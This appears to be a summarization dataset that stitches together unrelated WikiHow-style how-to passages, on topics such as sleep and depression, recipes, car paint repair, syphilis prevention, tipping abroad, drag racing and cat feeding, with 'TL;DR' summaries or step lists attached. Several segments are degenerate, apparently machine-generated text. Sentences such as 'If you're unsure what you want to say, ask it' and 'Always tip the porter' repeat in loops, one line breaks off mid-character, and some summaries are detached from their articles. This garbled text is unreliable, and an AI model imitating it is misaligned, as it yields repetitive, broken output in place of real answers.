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Sleep is crucial for your mental and physical health, and not getting enough can make your depression worse. When you’re in college, it can be hard to get the sleep you need. Most young adults need 7-9 hours of sleep a night to be at their healthiest.  Schedule time for sleep the same way you would for studying and other obligations. Try to create a consistent schedule for when you go to bed and when you wake up. Make sure that you have some downtime before you go to bed every night. Spend a little time doing something peaceful, like reading a book, taking a warm shower, or doing a little meditation. Avoid using your phone or computer right before going to bed, since the light from the screen can make it more difficult for you to fall asleep. Eating and drinking the right things can boost your mood, help you concentrate, and help you sleep better. It is also important to avoid foods and drinks that can aggravate symptoms of depression.  Eat foods that are rich in vitamin B12 and folates, like lentils, almonds, spinach, chicken, and fish. Make sure you are getting enough vitamin D, which is often added to milk, juices, and breakfast cereals. Eat plenty of fish, or look for foods fortified with omega-3 fatty acids. Avoid foods that are high in refined sugars, like sugary desserts and sodas. Avoid drinking too much caffeine. While it can temporarily boost your energy, it can also disrupt your sleep cycle and make you feel nervous or irritable. While having a drink or two with your friends now and then can be a fun way to socialize and blow off steam, drinking too much alcohol can have a negative impact on your mood and your health. Excessive drinking can leave you feeling sick and tired, disrupt your sleep, and make your depression symptoms worse. It can also lead to more serious health problems, including liver disease, gastrointestinal problems, and cardiovascular disease. If you feel that your drinking is having a serious impact on your health, your relationships, or your ability to do your work, or if you...

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Burberry makes scarves for both men and women. You can pick any scarf from either line regardless of your gender, but keep in mind that the size, patterns, and materials used for women's scarves are easier to pair with most women's clothing, while those used for men's scarves are easier to pair with most men's clothing.  Women's scarves are available in rectangular and square styles. There are also poncho and wrap style scarves, as well as short fur collars. “Heritage” style scarves tend to present subdued, classic looks. Men's scarves are also available in rectangular and square styles. There are also long blanket style scarves, as well as "heritage" style scarves, which tend to have a more classic appearance, just as they do in the women's line. There is no single material used for Burberry scarves. Some are softer and more elegant, while others are a little more durable. The type of material you choose can change the overall tone of your ensemble.  Women's scarves come in cashmere, silk, and fur. There are also blends that combine one or more of these materials with other materials, like wool, linen, or cotton. Men's scarves come in cashmere, wool, linen, cotton and silk. Note that light, flowing materials like cashmere and silk tend to create a more elegant appearance. Fur is also a luxurious material. Wool, linen, cotton, and their blends still have chic and class, but they do tend to look a little less formal and may seem more versatile. The color and print will also change the tone of your ensemble. Classic prints are usually easier to pair with other clothes, but statement prints can add greater flair and personality to your look.  The checkered pattern is one of the most classic prints for both men and women. It can be found in range of colors, including everything from bold reds to neutral tans.  You can also find solid prints, especially if you look in the heritage scarf collection. Other patterns you might find can include abstract combinations of straight and curved lines, ruffles, large florals,...

TL;DR in English: Choose between women's and men's styles. Pick the material. Select your favorite pattern.
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Take a shower and don't forget to shave (Some men prefer hair on women). Use fragrant bath gels and shampoos. Keep your skin soft by rubbing body lotion or body butter all over right after getting out of the shower. Use a light body spray or oil on your wrists, behind your ears, on your chest, and behind your knees.

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Marinate the chicken. Heat the bacon and olive oil. Fry the chicken pieces. Cook the garlic and onions. Add the tomatoes. Add the fish sauce, water, and bay leaves. Let simmer. Add the potatoes and carrots. Add the bell peppers. Toss in the peas and bacon pieces. Serve hot.

Rub the sandpaper in circles, pressing firmly. Sand a little beyond the original damage, even if it means peeling away a small amount of clear coat that is still in decent condition.  If the pigmented paint below the clear coat is still in good shape, don’t scrub so hard that you remove it as well. If the clear coat is already gone, skip this initial sanding and go straight to wet sanding and cleaning. Use 2000 grit sandpaper that’s been soaking in water for an hour. Smooth out the transition lines between your repair area and the surrounding clear coat. Keep the sandpaper wet by dipping it in water as needed. Straighten out or square off the work area when you can, as this will make it easier to tape off the area later. Use an alcohol-based cleaner, like glass cleaner, to clean the area you just sanded. Follow this up with a solvent-based paint prep cleaner, which will either come with your chosen clear coat repair kit or be found alongside the clear coat sprays. These pads are similar to the ones you might use on your dirty pots and pans in the kitchen, and are available at automotive supply retailers. Don’t use steel wool or sandpaper. You just want to give the pigmented paint a slightly rough texture.  Clean the area afterward with the solvent-based cleaner. Skip this step if the paint is already scuffed up from your earlier sanding. Stick the tape to your pants and peel it away once or twice to make it less sticky. Create a taped-off area around the removed clear coat that's slightly larger than the actual damaged area. Use plastic sheeting and more tape to expand the outside of the protective zone, so that your clear coat spray only lands on the car where intended. Shake the can as instructed on its label. Also refer to the label for the optimal spraying distance and motion. Keep moving as you spray so that you create an even layer. Let this first coat dry for at least 5 minutes, or for the time recommended on the can. You may be instructed to go over each dried coat with very fine sandpaper (e.g., 1500...

TL;DR in English: Scrub the damaged area with 1000 grit sandpaper. Wet sand the transition between your work area and the remaining clear coat. Clean the clear coat-free area with alcohol and solvent-based cleaners. Scuff the cleaned area with a fine grit, woven scuffing pad. Tape off the work area with easy-to-remove masking tape. Spray the aerosol can of clear coat onto the surface. Apply a second layer of clear coat in the same manner. Blend in the repaired area with the surrounding car finish.
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Combine the soy sauce and black pepper in a large glass dish. Place the chicken pieces in the marinade and cover with plastic wrap. Let soak in the refrigerator for 30 minutes.  Use a glass or plastic dish. Do not use a metal dish to marinate the chicken. If you do not have a large glass or plastic dish, you could also combine the marinade and chicken in a large resealable plastic bag. Try to use a freezer bag or a marinade bag, since either option will be durable enough to hold the heavy chicken without developing leaks. While chicken thighs and drumsticks are preferable for this recipe, you could also use a whole chicken cut into pieces. Keep the skin on and the bones in. Just be aware that white meat can cook faster than dark meat. Pour the olive oil into a large Dutch oven and add the bacon pieces. Cook the bacon on medium heat for 5 to 7 minutes, until it becomes brown and crispy.  Remove the bacon pieces and transfer them to a plate. Set aside and keep warm. You need to let the bacon render its fat. This will give the dish more flavor. If you do not have bacon or would prefer not to use it, you could double the amount of oil you use, instead, and leave the bacon out entirely. If you do not have a Dutch oven, you could also use a large, heavy stockpot with deep sides. Remove the chicken pieces from the soy sauce marinade. Add them to the hot oil and fry for 4 to 8 minutes, or until well-browned on all sides.  Let the excess marinade drain from the chicken before you add it to the hot oil. Dispose of the marinade after removing the chicken. Do not attempt to reuse it, since marinades holding raw meat can become tainted with hazardous bacteria. Turn the chicken pieces periodically using tongs to ensure that all sides are evenly browned. Once browned, transfer the chicken to another plate. Set it aside and keep warm. Add the chopped garlic and onions to the oil in the Dutch oven. Cook for 2 to 3 minutes, or until the onion becomes soft and both ingredients become more fragrant.  Stir the onion and garlic...

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Make a patchwork quilt. Give outgrown clothing to your children to use for their toys. Sew new doll clothes. Clean the house. Use old baby bottles as measuring cups. Oil a squeaky door. Convert your crib to a cot. Turn your crib into a bench. Build a work table. Repurpose wheels from your child’s stroller.

If you are sexually active, you can prevent syphilis by limiting your number of sexual partners. Your risk of contracting syphilis goes up with the number of sexual partners you have. Sexually active people who have only one partner in a monogamous relationship are safest, as long as neither partner has sex with anyone else. For some people, however, this might be unrealistic. Therefore, try to limit your number of sexual partners. f you have more than one sex partner, your risk of STIs (including syphilis) increases. The more partners you have, the greater the risk. Practicing abstinence will reduce your chances of getting syphilis to nearly zero. The sex conversation is always an uncomfortable conversation, but it is one of the best ways to avoid contracting STIs (or STDs), like syphilis. Before you engage in sexual activity with a new partner, take time to talk with them about your sexual history, as well as their sexual history. You can make the conversation less awkward and accusatory by initiating the conversation and offering to relate your sexual history first.  You can initiate the conversation by saying, “Hey, I am really attracted to you, and I would like to take our relationship to the next level. Before we venture down this path, however, I would like to tell you about my sexual history and the last time I got tested.” Tell them about your sexual history, and ask them about theirs. Then suggest that you both get tested before having sex. Your partner might be resistant and respond with something like, “I haven't been tested, but I know I don't have any diseases.” You can respond by telling them, “Some people don’t even know they have an STI, like syphilis, because symptoms can be dormant. This doesn't mean I don't trust you or I think you are lying to me, but there's no way to really know for sure unless you are tested.” the right way. It is important to use condoms when engaging in sexual activities. What is more important, though, is knowing how to use condoms the right way. Every time you...

TL;DR in English: Limit your number of sexual partners. Take time to talk and get tested. Use condoms
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Cut rectangular pieces of fabric from outgrown clothing and blankets, and sew them together to make a quilt. Some children really enjoy touching the various textures and seeing all of the different colors and patterns, even if they don’t remember wearing or using the items themselves.  If parts of the clothes are too small – like socks – sew them onto one of the other patches. These quilts make excellent heirlooms. Consider keeping a record of which patches came from where. Baby clothes make excellent clothing for larger dolls and stuffed toys. To make new doll clothes from outgrown baby clothes, simply measure the doll, cut a piece of fabric from the old clothing, and cut slits for the neck, sleeves, and pant legs. Then sew the parts together. Old cloth diapers, cotton blankets, and t-shirts can be used as cleaning rags. Bottles are marked with measurements, so you can easily use them for liquids during cooking and baking. Baby bottles can also be used to lubricate squeaky doors. Pour oil into an old baby bottle, and attach a nipple. Because it dispenses a small amount of liquid and easily fits into hard-to-reach areas, you can easily use this to lubricate door hinges. After doing so, move the door to the left and right to distribute the oil. If your child has outgrown the crib, you can repurpose it for a toddler. Remove the part of the crib with the bars, so that your child can climb in without any obstacles. Be sure to remove excess parts and redundant screws, and don’t let your child use the bed until you have sanded it smooth and repainted it. You can also convert a crib into a bench. Remove only one side, and take out the mattress. Replace the footer with a stronger board, and repaint it all in one color. Another use for an outgrown crib is a work table. Check to make sure the crib is the appropriate height. Remove the mattress and footer, and replace it with glass or a stronger board. If the table is too low, you can extend the legs of the crib and place the work surface above. Use the space beneath...

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If you’re not sure what to do, try a different stretch. If you’re unsure what to do, try a different stretch. If you’re unsure what to do, try a different stretch. If you’re unsure what to do, try a different stretch. If you�

Slow down. Don’t push through the pain. Avoid difficult stretches.

A classic cucumber cream cheese sandwich is an elegant example of simplicity, relying only upon the creamy tanginess of cream cheese, paired with the crisp crunch of a cucumber housed between two pillowy pieces of white bread. There's nothing wrong with breaking from tradition now and again, though! Experiment with these different filling options:  Option #1: Mix 4 ounces cream cheese with 1-2 ounces of goat cheese. Mix in fresh lemon juice to taste (about 1-2 tablespoons), and salt and pepper to taste. Option #2: Mix 4 ounces of cream cheese with 2 tablespoons of finely chopped dill. Mix in fresh lemon juice to taste (about 1-2 tablespoons, but more if you'd like), and season with salt and pepper.  Option #3: For a zestier filling, mix 4 ounces of cream cheese with 1/4 cup of mayonnaise. Add in either 1-2 tablespoons of Ranch dressing OR about ½ packet of dry Ranch dressing seasoning mix (start with a small amount of  dressing—whether it's wet or dry—and increase as needed). Season with salt and pepper to taste, but know that you may need less salt with this filling mixture. Once you've selected your choice of filling, simply mix all of the ingredients together in a medium sized bowl.  Make sure that the cream cheese has softened to room temperature, or you may have a difficult time getting a smooth texture. You may also mix the ingredients together in a stand mixer. Most recipes call for you to peel the cucumber. This is optional, though. If you like the flavor of the peel or like the added crunch it brings to your sandwich, leave them on.  If your cucumber has seeds, consider removing them. This will result in a crunchier final sandwich, but many chefs lament the loss of the flavor that the seeds/middle of the cucumber lends.   Slice the cucumbers very thinly. It's easiest to cut your cucumber into thin rounds, but some chefs prefer to cut the cucumber length-wise. You can also cut the cucumbers on a bias: Angle your knife forty-five degrees to your left (imagine a clock in front of you: place the tip of...

TL;DR in English: Select your cream cheese mixture. Mix the filling. Prepare the cucumber. Put the sandwich together. Cut the crusts off the bread and serve. Finished.
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Moving quickly into a stretch is a recipe for injury. Instead, always move your body with deliberate slowness, coaxing instead of forcing your body into the stretch.  Slowly moving your body into a stretch allows you to accurately monitor how far you can go before the stretch becomes painful.  If you move into a stretch too fast you won’t be able to tell precisely when the stretch became painful. This advice can seem counterintuitive since most physical activities require you to push into your limits if you want to make progress. With stretching, the opposite is true. “No pain, no gain” does not apply to stretching.  To find your limit, perform a stretch slowly and right up to the point where it hurts. Then, draw the stretch back until it no longer hurts. This is the sweet spot where you should hold the stretch. Over time, you will find that your limit moves further and further into the stretch. The goal of stretching is to become more flexible and feel more agile and comfortable in your body. If you practice stretches that tax your body and are very difficult or painful, you will reach the opposite result.  If you try a stretch and it is very difficult or painful, scrap it and substitute a different stretch. There are many ways to stretch every muscle in your body, so don’t worry if you’re unable to perform every stretch.

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Demonstrate the action of pedaling. Have your child practice pedalling on your hands. Have your child practice with her legs. Demonstrate pedalling using your own bike. Let your child watch other children ride their bikes.

Giving in order to get what you want may seem counter intuitive, but knowing what you have to offer is the first part of finding what you want. There are many career fields to choose from: architecture, planning and environmental design, arts and education, business, communications, engineering and computer science, environment, government, international relations, law and public policy, nonprofit, health and medicine, sciences, and trades, for example, becoming a carpenter or an electrician.   Each of these fields involve practices and disciplines. Knowing which of these disciplines or practices is your passion will help you know what you want. Your passion can sustain you financially if you become highly skilled at one or more of those fields. These fields all contain human needs that are not going away. The way those needs are met (the services, practices and disciplines) may change and grow, but you can change and adapt with them. Do not feel compelled to choose only one skill or field. Think about how these areas might intersect in a way that makes sense for your passion or what you want to do. The more experience and knowledge you get about the fields you could be interested in the more you will find yourself gravitating toward a specific area. Each field has traditions, ideas, practices and knowledge you can learn and grow from from. You should always be challenging yourself intellectually. Make a habit out of reading the literature associated with your field. Start reading the books associated with the field that you are interested in. For example, you can read The Joy of Cooking, an influential and classic cookbook, if you love cooking. However, you can also read lots of great cooking blogs to become well informed about your passion. Every field, discipline or practice typically contains an active working community. If you live in a large enough city, there will be a group of people who are also pursuing the field(s) you are interested in. If you become close to these individuals, you can can find a...

TL;DR in English: Find out which skills you have that you want to give others. Actively learn about the fields you are interested in. Make friends with people in different field(s) you are interested in. Talk about your dreams with others. Ask for honest feedback. Make the path for where you want to end up. Revisit your decision about what you want.
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Put your foot or hand on the pedal and make the pedal rotate in order to show your child how the pedal works. Point out that when the pedal moves, the wheels also move. Let your child push the pedals with her hands so she can begin to get a feel for the movement. Hold the bike up while you do this so that the wheels can move freely and your child can see the bike in action. Have your child sit in a chair that is roughly the same height as the bike seat. Sit across from your child, facing her. Put your palms at the height of the pedals and have your child place a foot in each of your palms.  Now push your child’s feet up and down in the same movement that she would do if she was pedalling. Once she has gotten a feel for the movement, have your child ‘pedal’ with your hands. Ask your child to lie down on the floor. Lie down across from her so that the bottoms of your feet are touching the bottoms of her feet. Put your feet up in the air (with her feet still touching yours) and begin to pedal like you would on a bike. Have your child try to push your feet in a pedalling motion to help her gain the strength she will need to push the pedals on the real bike. Sit on your bike and slowly pedal so that your child can see how you move your legs (and how the wheels move because of the pedalling you are doing). Try to pedal slowly at first, and then more quickly as your child gains a better understanding of what you are doing. Bring your child to a park where other kids ride bikes. Watching her peers may help your child to compartmentalize the process of pedalling.

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Clean your dog’s ears with a commercial ear cleaner.

Purchase a commercial dog ear cleaner or make you own with common household products. Clean your dog's ears regularly.

Mark key words and phrases. Doing so will help you determine what to address in your personal testimony. For instance, if the job advertisement includes a requirement for managerial experience, organizational skills, and familiarity with particular software, you will want to be sure to address these topics in your writing. If you are applying for more than one position, you may notice some overlap in the job requirements. At this point, it may be helpful to create a list that organizes the positions according to key words or phrases. In other words, make a list of positions categorized according to job requirements (e.g., managerial experience, organizational skills, and so forth). This list can serve as a guide later as you revise your personal testimony to fit each particular position. Start with the phrases you have highlighted and create a list of past work experiences that demonstrate your capability in these required areas.  If you have worked a lot during your university years or recent work experience, what have you learned (leadership or managerial skills, for example), and how has that work contributed to your growth? What are your career goals? Make a list of the skills you possess (e.g. leadership, verbal communication, analytical) and think of an example for each of those skills. Alternately, identify one example that relates to all (or the majority) of the skills you listed. You can also create a list of your personal characteristics (e.g. integrity, compassion, persistence) that would relate to the positions for which you are applying, as well as challenges that you have overcome. Be sure that you can clearly connect these personal attributes to a particular professional example. You’ll need to be able to demonstrate an instance when you were persistent or demonstrated compassion that connects to the job at hand. Itemizing your reasons for applying to a particular organization  or company will help you identify how your skill sets, goals, and experience align with those of the organization or...

TL;DR in English: Read the prompt or job advertisement closely. Reflect on your professional experience. Write a list of personal attributes. Determine your reasons for applying. Consider whether photo and video content is a possibility.
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Either cleaner can be used on the outer portion of the inside of the ear flap. The procedure for cleaning the ear is the same with a commercial ear cleaner as it is with the homemade version.  Mix a few tablespoons of vinegar and the same amount of rubbing alcohol together in a clean bowl. Make sure it is at room temperature prior to using, as no one, dogs included, likes cold fluid on their ears. This mixture is safe to use on the visible inner part of your dog’s ears. DO NOT use this mix if you suspect your dog has an ear infection and do not pour into the ear canal itself. There are many good all-purpose dog ear cleaners on the market. Ask your veterinarian for advice on what you can purchase locally. You can also ask for recommendations at your local pet supply store. A weekly ear inspection and cleaning (if necessary) would be a great schedule to adhere to and will help you keep on top of any potential ear health problems.  Dirt accumulates rather fast and can lead to an infection, especially with floppy-eared canines.

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Always tip the porter. Always tip the housekeeper. Always tip the concierge. Always tip the captain. Always tip the porter. Always tip the housekeeper. Always tip the concierge. Always tip the captain. Always tip the porter. Always tip the housekeeper. Always tip the conc

Tip service providers in Mexico. Give a good tip in Canada. Know how to tip in Costa Rica.

When you get wrapped up in all the grease and machismo floating around at the strip, it can be common to forget about the most essential part of drag racing: surviving it. Make sure that you're aware of everyone on the track, around it, and stay focused on completing the run with safety. If you feel unsure about racing, unconfident in your vehicle, or uncomfortable with the track conditions, pack it up for the day.  You need to always have your vehicle inspected before drag racing. Blowing out a tire going 120 mph (190 km/h) is extraordinarily dangerous, and turning out of a skid at those speeds can be deadly. Use extreme caution. The Snell Memorial Foundation was founded by William "Pete" Snell, an amateur auto racer who died in a racing event in 1956. His then supposedly state-of-the-art helmet failed to protect from passing away, and a number of his fellow racers, colleagues and friends came together in an effort to improve the design of helmets along with their capabilities. They're now considered the standard in the field. If you're going to drag race, you need one. The ideal time to shift is when the descending power curve for the lower gear crosses the ascending power curve for the higher gear. Most drag racers will use a tachometer to closely monitor the RPMs and feel for that sweet spot, just before the RPMs hit the red patch on the gauge.   Many drag racers will use a lighted tachometer, which will flash a light indicating the optimal time to shift. Great racers anticipate these lights, however, shifting perhaps 200 or 300 RPMs before the "ideal" time, to make the action slightly smoother. Drag racing in automatic transmission vehicles exists, but is less common. Manual transmission vehicles offer faster acceleration times if you can get the technique right. If you want to get into drag racing, practice your shifting in a manual transmission vehicle. If you want to really grip the track, you need to get some racing tires for your vehicle. Without tread, heading up bald tires will allow you to grip...

TL;DR in English: Always put safety first. Invest in a Snell-certified helmet. Shift at the correct times. Use bald racing tires inflated to the proper specs. Drive in the "groove" created by other racers' tire slicks.
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Pesos are preferred to the dollar when you tip in Mexico, but you can technically tip in dollars if necessary.  Offer a 10% to 15% tip to your server at a restaurant. At a hotel, give the porter 10 to 20 pesos per bag, the housekeeper 20 to 50 pesos per night, and the concierge 50 to 150 pesos per favor. Tour guides should receive 100 to 200 pesos per full day per person, but combined driver-guides should get 200 to 300 pesos. Gas station attendants should be tipped 5 pesos per fill-up. Policies concerning gratuities are similar in Canada when compared to the policies of the United States.  Offer 15% to 20% of the bill to your waiter at a restaurant. At your hotel, the concierge should get $10 to $20 per favor. Porters get $1 to $2 per bag. Housekeepers get $2 per day, or $5 per day at a luxury hotel. Tip taxi drivers 10% to 15% of the fare. Offer tour guides a collective 15% of the cost at the end of an excursion. Tipping costs are fairly cheap in Costa Rica, partially because of the fact that Costa Ricans are paid better than many other service providers in Central America.  Your restaurant tip is included in the bill, but you can offer something extra if desired. At a hotel, give $0.25 to $0.50 per bag to the porter or $1 per bag at a fine hotel. The housekeeper should get $1 per day. Taxi drivers receive a $2 to $4 tip for a long drive, or a $1 to $2 tip from a trip from the airport to your hotel. Tour guides receive $5 to $10 per person per day. On a boat ride, tip the captain $5 to $10. This will be distributed throughout the crew.

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Allow your partner to live their truth. Explore the overlap in your core values. Define commitment for yourself.

Clap once. Pick up the cup. Move the cup to the right and set it down.

A mature relationship is free of judgments and unrealistic expectations, so you'll have to stop trying to change your partner. Committing means letting go of the idea that you are right and your partner is wrong. It's rarely either—you're just different. Show maturity by accepting and respecting those differences.  Give yourselves permission to keep being individuals because you'll only resent your partner if you give up your own opinions, interests, and goals for the relationship. For instance, don't work so hard to convince your partner to like your favorite types of music or food. The fact that you both have varying tastes keeps the relationship interesting and vibrant. While it's okay to disagree about small things, like how to launder darks, the two of you will be happier if you are on the same page about the big things. Your personal values—honesty, family, charity—should be similar or at least complementary.  Sit down and have a conversation about the important topics to come to an agreement. Mature partners know where their significant others stand on important issues like major career goals, whether you want to get married, whether you want kids, and where you want to live. You may not exactly agree, but you should be knowledgeable about your partner's values. If you do disagree about your partner's stance on major issues, like politics and religion, ask yourself if you can agree to disagree, or if this is a dealbreaker for you. Commitment in modern relationships means different things to different couples. Do you and your partner plan to be mutually exclusive in the relationship or are you okay with a more open, fluid relationship?  Have a conversation with your partner about what each of you wants in terms of long-term commitment. Others, such as friends and family, may not agree with your definition of commitment, but all that matters is that the two of you agree.

TL;DR in English: Allow your partner to live their truth. Explore the overlap in your core values. Define commitment for yourselves.
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Clap above the cup again. Make sure you are still about six inches above the cup. However, this time, just clap once. Grasp the bottom of the cup with your right hand. Pick the cup up to hover about two to three inches above the table. Try to make an audible sound when grasping the cup. Move the cup about three inches to the right. Set the cup down, making another audible noise. The cup should still be rim down.

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Spread your cat’s food on a flat plate or pan. Try a puzzle feeder. Squish wet food down at the bottom of your cat’s food bowl. Put a golf ball in the middle of your cat’s food bowl. Use a food bowl with a built in lump in the middle. Buy an automatic feeder.

If you forget someone’s name but you need to introduce the person to your friend, you can be completely honest and claim you have a brain fog. Apologize for forgetting the person’s name and then say your brain is so foggy from dealing with all the appointments you have that day. Most people understand that a busy schedule and stress can make your brain foggy, so using this as the reason you’ve forgotten someone’s name is a legitimate reason. If you’ve forgotten someone’s name, a good way to get the person to say it is to introduce a friend of yours. Find a friend nearby and say, “Hey, I’d like to introduce you to my friend.” Say your friend’s name first and then wait to have the other person finish the introduction. For example say, “I’d like to introduce you to my friend Katie Gellar”, and the person should respond by saying something like, “Hi Katie, My name is Melanie Smith”. You can find out the name of a person by getting the person’s contact information. You can ask the person to put the information in your cell phone, and then glance at the new contact listing before putting your phone away. Another way to find out the person’s name is to ask for the person’s business card. Many people carry business cards with them which include their name and contact information. Tell the person you want to keep in touch and ask for a business card. Ask the person to spell their name to make sure you get it right.

TL;DR in English: Claim a brain fog. Introduce a friend to the person. Ask them for their contact information.
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To ensure your cat takes her time when she eats, pour her dry food on a flat surface, like a plate or a baking pan. This will force her to eat only a few pieces of dry food at a time and take smaller bites of her food. You can make or buy a puzzle feeder for your cat, which has the added bonus of providing mental stimulation. Your cat will need to work to get her food from the puzzle. This will prevent her from binge eating as the food will be dispensed in small amounts. You can purchase a puzzle feeder or make one by gluing cardboard tubes together in a grid and putting a few kibbles in each tube. One such feeder is a plastic ball with holes. You can put dry food inside the ball, and your cat can then play and try to eat the food as it falls through the holes. This will prevent her from binge eating and encourage her to use her hunting skills to get her meals. This will make your cat eat more slowly because she cannot simply scarf down her food. Instead, she has to practice lapping up her food slowly and swallowing before she can take another bite. An obstruction, like a golf ball or a ping pong ball, can force your cat to slow down when she eats as she will need to pause while eating to move the obstruction or eat around the obstruction. Make sure you use an object that your cat cannot swallow, like a golf ball or a ping pong ball. Many pet stores sell food bowls made for cats and dogs that have one big lump in the middle or several small lumps. These food bowls will help your cat get used to eating more slowly and to take smaller bites of food. An automatic feeder is set up so that as an owner you have control over how much your cat eats with the simple press of a button. Many feeders can be set on digital timers so you know exactly how much food your cat is getting at one time. There are also measurements on the feeder to help you determine how much food your cat will receive and to prevent over or under feeding your cat. You can set the feeder so your cat receives smaller portions of food throughout the...

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Avoid insulting them. Run away if you are outnumbered. Avoid specific people who wish to cause you harm. Refrain from causing permanent damage.

Once iTunes or the App Store is open, if you haven't already, click Sign in and enter your Apple ID username and password. Contrary to what you might think, you cannot simply change the country or region of your account by switching the flag at the bottom of the featured or home page. Doing so will allow you to browse that country's iTunes or App Store selection (see Method 3), but it will sign you out of your account. You will not be able to make purchases. You may be prompted to enter your Apple ID again.  Remember, you may only switch to a country for which you have a local billing address on a valid credit card, or for which you have a local gift card. You cannot switch countries if you don't have either a local credit card or gift certificate. Click Change after your country is selected.  Select the checkbox that says “I have read and agree to these terms and conditions." Click Agree. If you have a credit card, enter it now. A valid local gift card should also be acceptable. Click Continue.

TL;DR in English: Sign in to iTunes or the App Store using your Apple ID. Once signed in, click on Account on the right-hand toolbar. Click on the Change Country or Region link on your Account page. Select a country you wish to switch to. Press Continue when steered to the Welcome to the iTunes Store page. Read and agree to Apple's Terms and Conditions and Privacy Policy. Enter a valid payment method. Enter your billing address associated with you local credit card.
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Do not say anything to egg them on (including threats, racist words, or sarcastic comments). This could escalate the fight, and your goal is to end the fight altogether. If their friends are there, they could end up using your words against you. Or, if the fight persists, the opponent could end up winning and then those words would come back to haunt you. If their friends or allies join the fight and you are outnumbered, try to run and defend yourself while sprinting off. Keep careful watch on the body language of everyone there, so that you can be ready to react with fast reflexes. Dodge any objects that they may try to throw at you. Call for help if needed. Certain people are just plain cruel, and avoiding them altogether could be the best plan. Steer clear of areas where a bully usually hangs out, and instead find a new route to get where you need to go. You are not cowardly for wanting to avoid confrontation and maintain peace in your life. Do not get carried away in the fight, and never try to cause permanent physical harm to another person. Do not aim for their face, for instance. Do not use objects to fight; simply use your hands to defend yourself. Once you have protected yourself from harm, retreat from the fight. You can certainly use objects as a shield, such as holding up a book to block blows. However, you will lose the respect of your peers if you use such objects against your opponent and the odds become uneven and unfair.

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Iron Ingots are a great way to craft a Cauldron. You can find Iron Ingots in Fortresses and Dungeons, and Iron Golems drop them, but you may find it easier to craft them yourself from Iron Ore. You will need a Stone Pickaxe or better in order to break Iron Ore blocks. You

Create or find 7 Iron Ingots. Mine Iron Ore. Create a Furnace if you don't have one yet. Open the Furnace window and place Fuel in the bottom box. Place a block of Iron Ore in the box above the Fuel.

Photo recovery is one of these data-recovery solutions designed to recover digital media files from memory cards, such as memory sticks, CF cards, XSD/XD cards, and MMC. It’s advisable to use a card reader to connect the memory card to your computer. Some programs will require administrator privileges before allowing you to run the recovery. Make sure your user has the appropriate authorization to do so. Make sure that your computer has enough space to save the recovered data. Running the recovery process may take a lot of your computer’s processing memory. Shutting down unneeded programs will help. During the whole operation, ensure that your computer or laptop has enough power to complete the recovery process. Connect to an AC power to avoid problems and interruptions.

TL;DR in English: Download a photo-recovery program. Attach the memory card. Log in as Administrator. Check disk space. Turn off other applications. Connect your computer to a power source.
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You will 7 Iron Ingots in order to craft a Cauldron. You can find Iron Ingots in Fortresses and Dungeons, and Iron Golems drop them, but you may find it easier to craft them yourself from Iron Ore. You will need a Stone Pickaxe or better in order to break Iron Ore blocks. You can find Iron Ore underground, and it is one of the most common metals. It can usually be found between layers 1 - 63, and will be in a vein of 4 - 10 blocks. If you want to make the ingots yourself, you'll need a furnace to smelt the Iron Ore. Place 8 Cobblestone blocks around the edges of the Crafting window to make the furnace. You can use any type of Fuel when making Iron Ingots. Lava Buckets, Coal, and Charcoal make for the most efficient fuels, but you can also use Wood Blocks, any object made from wood (crafting table, chair, etc.), and saplings. After a few moments, an Iron Ingot will appear in the box on the right. Repeat until you have 7 Iron Ingots. More efficient fuel will allow you to craft your ingots much quicker.

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Don't be afraid to ask questions.  If you're not sure what you want to say, ask it.  If you're unsure what you want to say, ask it.  If you're unsure what you want to say, ask it.  If you're unsure what you want to say, ask it

Find an appropriate time to strike up a conversation. Avoid awkwardness by preparing an opener. Be confident Pay attention to her social cues.

Modern water softeners can go without cleaning for 5–10 years. Clean them only if your water has turned hard and the basic maintenance above doesn't fix the problem within a couple days. Older models (especially electric ones) can benefit from an annual cleaning. Use the bypass valve to shut off water intake. Siphon or dump all water out of the tank, then dump out the salt and throw it away.  Keep the waste away from your garden, as salt kills plants. Dissolve blocks or bridges of salt with hot water if needed. Some models have a mesh platform at the base of the brine tank. Set this aside before cleaning. Mix a generous amount of dish soap into one or two gallons (4–8 liters) of water. Pour it into the tank and scrub the entire interior with a long-handled brush. Dump out the soapy water and rinse with plain water. Pour ¼ cup (60 mL) of household bleach and 2–3 gallons (8–11 liters) of water into the tank. Stir and let sit for fifteen minutes to sanitize the tank. Most organisms cannot grow in concentrated brine, but it's a good idea to make sure. Rinse out the bleach thoroughly. If there was a grid in the tank, put it back. Replenish the tank with water and salt as normal. Wait at least a couple hours before regenerating the tank, to give the salt time to dissolve.

TL;DR in English: Schedule the cleaning. Empty the tank. Remove the brine grid from the base of the tank. Scrub with soapy water. Rinse the tank. Clean the tank with bleach. Rinse and refill.
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If she's cramming for a test before the bell rings or having an intense conversation with a friend, it's probably best to wait. Find a time when she's alone and doesn't look like she's in a rush to get anywhere, such as in the cafeteria or after school lets out.  If she's constantly surrounded by friends, don't be afraid to say, “Can I talk to you for a second?” See if you have any common interests. Is she apart of the debate team? You could try it out too as a built-in way to meet her. If there are breaks or club outings, you could try to strike up a conversation during those times. Don't spout off a cheesy pick-up line the second you're face-to-face, but have a general idea about what you're going to say. This can be as general as a question about her day, or you can cut right to the chase and tell her you're interested. Either way, it's great to have an idea going into the conversation so that you aren't faced with awkward silence.  You could say something like, "Hi [name]! Happy it's almost Friday?" If you see her holding a specific textbook or going into a classroom, you could ask her about that. "Hey [name], you have history with Mr. Smith? I heard he's great, do you like him?" A general rule of thumb is to talk to her as if you already know her. This doesn't mean you should act like you're best friends, but don't act like you're talking to your teacher or principal. Say something like, "Hey [her name], how's your week going so far?" rather than, "Hello [name], how are you today?" . Even if you've planned out a perfect opener and have a great idea about what you want to talk to her about, you need to also convey confidence with your body language. Keep your head up, and make eye contact with her. Make sure you're standing up straight, and take a wide stance so that you look secure in your space. Take care not to wring your hands or nervously fiddle with your clothes or backpack.  If you feel nervous, that's perfectly normal. The trick is simply not letting it show. It sounds silly, but practice your...

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Buy a jewelry kit. Pick out a specific jewelry project you want to try. Purchase jewelry making tools. Purchase handmade jewelry supplies. Become familiar with basic jewelry measurements. Learn some basic jewelry making skills and techniques. Assemble your required materials. Practice the technique before you make the real thing.

